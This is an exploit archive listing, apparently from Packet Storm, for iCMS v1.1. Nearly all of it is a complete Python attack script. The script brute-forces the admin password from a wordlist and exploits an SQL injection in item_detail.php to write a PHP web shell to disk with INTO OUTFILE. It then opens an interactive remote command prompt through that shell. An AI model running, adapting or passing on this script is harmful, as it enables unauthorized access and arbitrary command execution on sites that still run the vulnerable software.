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iCMS 1.1 SQL Injection / Bruteforcer

🗓️ 18 Mar 2011 00:00:00Reported by TecR0cType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 26 Views

iCMS v1.1 Admin SQLi/bruteforce exploit by TecR0c. The exploit requires web path, file privileges, and has a low success likelihood. It uses a wordlist to brute-force the password

Code
`#!/usr/bin/python  
# ~INFORMATION  
# Exploit Title: iCMS v1.1 Admin SQLi/bruteforce Exploit  
# Author: TecR0c  
# Date: 18/3/2011  
# Software link: http://bit.ly/hbYy35  
# Tested on: Linux bt  
# Version: v1.1  
# [XXX]: The likelihood of this exploit being successful is low  
# as it requires knowledge of the web path and file privileges  
# however a PoC is still written ;)  
  
# ~VULNERABLE CODE:  
'''  
15 $id = $_GET['id'];  
16 $title = NULL;  
17 $text = NULL;  
18 database_connect();  
19 $query = "select title,text from icmscontent where id = $id;";  
20 //echo $query;  
21 $result = mysql_query($query);  
'''  
#~EXPLOIT  
import random,time,sys,urllib,urllib2,re,httplib,socket,base64,os,getpass  
from optparse import OptionParser  
from urlparse import urlparse,urljoin  
from urllib import urlopen  
from cookielib import CookieJar  
  
__AUTHOR__ ="TecR0c"  
__DATE__ ="18.3.2011"  
  
usage = 'Example : %s http://localhost/iCMS/ -w passwords.txt -p 127.0.0.1:8080' % __file__  
parser = OptionParser(usage=usage)  
parser.add_option("-p","--proxy", type="string",action="store", dest="proxy",  
help="HTTP Proxy <server>:<port>")  
parser.add_option("-u","--username", type="string",action="store", default="admin", dest="username",  
help="Username for login")  
parser.add_option("-w","--wordlist", type="string",action="store", dest="wordlist",  
help="file to use to bruteforce password")  
  
(options, args) = parser.parse_args()  
  
#VARS  
sitePath = '/var/www/iCMS/icms/'  
webshell = '<?php+system(base64_decode($_REQUEST[cmd]));?>'  
  
if options.proxy:  
print '[+] Using Proxy'+options.proxy  
# User Agents  
agents = ["Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)",  
"Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",  
"Google Chrome 0.2.149.29 (Windows XP)",  
"Opera 9.25 (Windows Vista)",  
"Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)",  
"Opera/8.00 (Windows NT 5.1; U; en)"]  
agent = random.choice(agents)  
  
def banner():  
if os.name == "posix":  
os.system("clear")  
else:  
os.system("cls")  
header = '''  
|----------------------------------------|  
|Exploit: iCMS SQLi RCE  
|Author: %s  
|Date: %s  
|----------------------------------------|\n  
'''%(__AUTHOR__,__DATE__)  
for i in header:  
print "\b%s"%i,  
sys.stdout.flush()  
time.sleep(0.005)  
  
def proxyCheck():  
if options.proxy:  
try:  
h2 = httplib.HTTPConnection(options.proxy)  
h2.connect()  
print "[+] Using Proxy Server:",options.proxy  
except(socket.timeout):  
print "[-] Proxy Timed Out\n"  
sys.exit(1)  
except(NameError):  
print "[-] Proxy Not Given\n"  
sys.exit(1)  
except:  
print "[-] Proxy Failed\n"  
sys.exit(1)  
  
def getProxy():  
try:  
proxy_handler = urllib2.ProxyHandler({'http': options.proxy})  
except(socket.timeout):  
print "\n[-] Proxy Timed Out"  
sys.exit(1)  
return proxy_handler  
  
cj = CookieJar()  
if options.proxy:  
opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))  
else:  
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))  
opener.addheaders = [('User-agent', agent)]  
  
def loginAttempt():  
try:  
passwordlist = open(options.wordlist,'r').readlines()  
print "[+] Length Of Wordlist: "+str(len(passwordlist))  
except(IOError):  
print "[-] Error: Check Your Wordlist Path\n"  
sys.exit(1)  
for password in passwordlist:  
password = password.replace("\r","").replace("\n","")  
sys.stdout.write('\r[+] Brute-forcing password with: %s \r' % password)  
sys.stdout.flush()  
time.sleep(0.2)  
authenticated = login(password)  
if authenticated:  
break  
  
def login(password):  
webSiteUrl = url.geturl()+'login.php'  
postParameters = {'formlogin' : options.username,'formpass' : password}  
postParameters = urllib.urlencode(postParameters)  
try:  
response = opener.open(webSiteUrl, postParameters).read()  
except:  
print '\n[-] Could not connect'  
sys.exit()  
loggedIn = re.compile(r"continue to the admin")  
authenticated = loggedIn.search(response)  
if authenticated:  
print '\n[+] logged in as %s' % options.username  
else:  
pass  
return authenticated  
  
def performSQLi():  
webSiteUrl = url.geturl()+"/admin/item_detail.php?id=1+union+select+'ph33r',user()"  
try:  
response = opener.open(webSiteUrl).read()  
except:  
print '\n[-] Failed'  
root = re.compile("root")  
rootuser = root.search(response)  
if rootuser:  
print '[+] I smell ROOT :p~'  
webSiteUrl = url.geturl()+\  
"admin/item_detail.php?id=1+UNION+SELECT+NULL,'TECR0CSHELL"\  
+webshell+"LLEHSC0RCET'+INTO+OUTFILE+'"+sitePath+".webshell.php'"  
opener.open(webSiteUrl)  
print '[+] Wrote WEBSHELL !'  
else:  
print '\n[-] Could not gain access'  
sys.exit()  
  
def postRequestWebShell(encodedCommand):  
webSiteUrl = url.geturl()+'.webshell.php'  
commandToExecute = [  
('cmd',encodedCommand)]  
cmdData = urllib.urlencode(commandToExecute)  
try:  
response = opener.open(webSiteUrl, cmdData).read()  
except:  
print '[-] Failed'  
sys.exit()  
return response  
  
def clean(response):  
patFinder = re.compile('TECR0CSHELL(.*)LLEHSC0RCET',re.DOTALL)  
shell = patFinder.search(response)  
response = shell.group(1)  
return response  
  
def commandLine():  
commandLine = ('[RSHELL] %s@%s# ') % (getpass.getuser(),url.netloc)  
while True:  
try:  
command = raw_input(commandLine)  
encodedCommand = base64.b64encode(command)  
response = postRequestWebShell(encodedCommand)  
response = clean(response)  
print response  
except KeyboardInterrupt:  
encodedCommand = base64.b64encode('rm .webshell.php')  
postRequestWebShell(encodedCommand)  
print "\n[!] Removed .webshell.php\n"  
sys.exit()  
  
if "__main__" == __name__:  
banner()  
try:  
url=urlparse(args[0])  
except:  
parser.print_help()  
sys.exit()  
getProxy()  
loginAttempt()  
performSQLi()  
commandLine()  
  
`

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